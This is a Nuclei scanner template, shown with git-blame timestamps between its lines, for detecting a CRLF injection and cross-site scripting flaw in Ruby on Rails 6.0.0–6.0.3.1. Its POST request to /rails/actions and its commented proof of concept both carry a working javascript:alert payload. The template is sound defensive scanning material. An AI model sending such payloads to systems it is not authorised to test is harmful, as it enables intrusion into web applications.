2020-12-23 09:24:03 +00:00
id : rails6-xss
2022-04-22 10:38:41 +00:00
2022-09-23 17:53:08 +00:00
# XSS (6.0.0 - 6.0.3.1); Payload is location=%0djavascript:alert(1);
2022-04-22 10:38:41 +00:00
# Nuclei has issues with 302 response missing a Location header thus the
# extended payload to make Nuclei work.
# Working poc by @Mad-robot
# /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29
2020-12-22 22:25:41 +00:00
info :
2022-09-23 17:53:08 +00:00
name : Ruby on Rails - CRLF Injection and Cross-Site Scripting
2021-06-09 12:20:56 +00:00
author : ooooooo_q,rootxharsh,iamnoooob
2020-12-23 02:33:49 +00:00
severity : medium
2022-09-23 17:53:08 +00:00
description : Ruby on Rails 6.0.0-6.0.3.1 contains a CRLF issue which allows JavaScript to be injected into the response, resulting in cross-site scripting.
2022-04-22 10:38:41 +00:00
reference :
- https://hackerone.com/reports/904059
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : rails,xss,crlf,hackerone
2020-12-23 02:33:49 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-12-22 22:25:41 +00:00
- method : POST
path :
2021-02-14 18:45:07 +00:00
- "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"
2021-04-06 08:15:46 +00:00
2020-12-22 22:25:41 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-02-14 18:45:07 +00:00
- 'javascript:alert(1)'
2020-12-22 22:25:41 +00:00
part : body
2023-10-14 11:27:55 +00:00
2020-12-22 22:25:41 +00:00
- type : status
status :
2020-12-22 22:33:16 +00:00
- 302
2023-10-14 11:27:55 +00:00
2020-12-23 02:33:49 +00:00
- type : word
words :
2021-02-14 19:01:40 +00:00
- 'Location : aaaaa'
2020-12-23 02:33:49 +00:00
- 'text/html'
part : header
2021-02-14 13:34:20 +00:00
condition : and
2023-10-20 11:41:13 +00:00
# digest: 4a0a00473045022100b2b23efd1f25ed4f38c04e28e6009e7c4135b763d70a13e1692e9169c4d0160902205ce411f94817587139aa8e279e05694e334d08a5ce79fa5ee3b07e075cf4b4af:922c64590222798bb761d5b6d8e72950